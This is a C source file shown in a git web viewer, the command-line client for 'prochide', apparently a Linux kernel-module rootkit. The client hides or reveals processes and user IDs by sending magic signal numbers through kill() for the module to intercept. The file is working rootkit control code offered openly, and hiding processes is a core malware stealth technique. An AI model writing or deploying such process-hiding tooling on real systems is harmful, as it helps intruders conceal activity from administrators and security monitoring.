summaryrefslogtreecommitdiff
path: root/prochide/ph_cli.c
blob: 6be668cfb7243d99ae252fa518e29a7f22b42cb5 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
/*
 * prochide command line client
 *
 * file: ph_cli.c
 *
 * CLI for prochide LKM.
 *
 * Very rough 1st draft client. show/hide pid,
 * or userid. Execute w/ no CLI args for usage.
 *
 * mike@gravitino.net
 */

#include <stdio.h>
#include <unistd.h>
#include <signal.h>

/*
 * show/hide signum values
 */
#define HIDEPID 0x400000
#define SHOWPID 0x400001
#define HIDEUID 0x400002
#define SHOWUID 0x400003

#define MODE_NONE 0x0
#define MODE_SHOW 0x1
#define MODE_HIDE 0x2

#define TYPE_NONE 0x0
#define TYPE_PID  0x1
#define TYPE_UID  0x2

void usage (char *name)
{
	printf("* USAGE: %s: <-s | -h> & <-p pid | -u uid>\n"
	       "*************************************************\n", name);
}

int
main(int argc, char *argv[])
{
	char ch;
	char *p_target = NULL;
	int  target;
	int  mode = MODE_NONE;
	int  type = TYPE_NONE;
	int  flag;
	int  ret;

	printf("*************************************************\n"
	       "* prochide v0.1 - mike@gravitino.net\n"
	       "*************************************************\n");

	if(argc != 4)
	{
		usage(argv[0]);
		return(0);
	}

	opterr = 0;

	/*
	 * parse command line args..
	 */
	while((ch = getopt(argc, argv, "hsp:u:")) != -1)
	{
		switch(ch)
		{
			case 'p':
				p_target = optarg;
				type     = TYPE_PID;
				break;
			case 'u':
				p_target = optarg;
				type     = TYPE_UID;
				break;
			case 'h':
				mode = MODE_HIDE;
				break;
			case 's':
				mode = MODE_SHOW;
				break;
			case '?':
				usage(argv[0]);
				return(0);
		}
	}

	if(mode == MODE_NONE ||
	   type == TYPE_NONE)
	{
		usage(argv[0]);
		return(0);
	}

	/*
	 * figure out flag value..
	 */
	if(mode == MODE_SHOW)
	{
		flag = (type == TYPE_PID ? SHOWPID : SHOWUID);
	}
	else
	{
		flag = (type == TYPE_PID ? HIDEPID : HIDEUID);
	}

	target = atoi(p_target);
	if(target == 0)
	{
		usage(argv[0]);
		return(0);
	}

	/*
	 * call kill to show hide
	 */
	ret = kill(target, flag);

	switch(flag)
	{
		case SHOWPID:
			printf("* pid %d %s", 
			       target, 
			       (ret == 0 ? "shown" : "NOT shown"));
			break;
		case HIDEPID:
			printf("* pid %d %s",
			       target,
			       (ret == 0 ? "hidden" : "NOT hidden"));
			break;	
		case SHOWUID:
			printf("* uid %d %s",
			       target,
			       (ret == 0 ? "shown" : "NOT shown"));
			break;
		case HIDEUID:
			printf("* uid %d %s",
			       target,
			       (ret == 0 ? "hidden" : "NOT hidden"));
			break;
	}

	printf(".\n************************************************\n");

	return(0);
}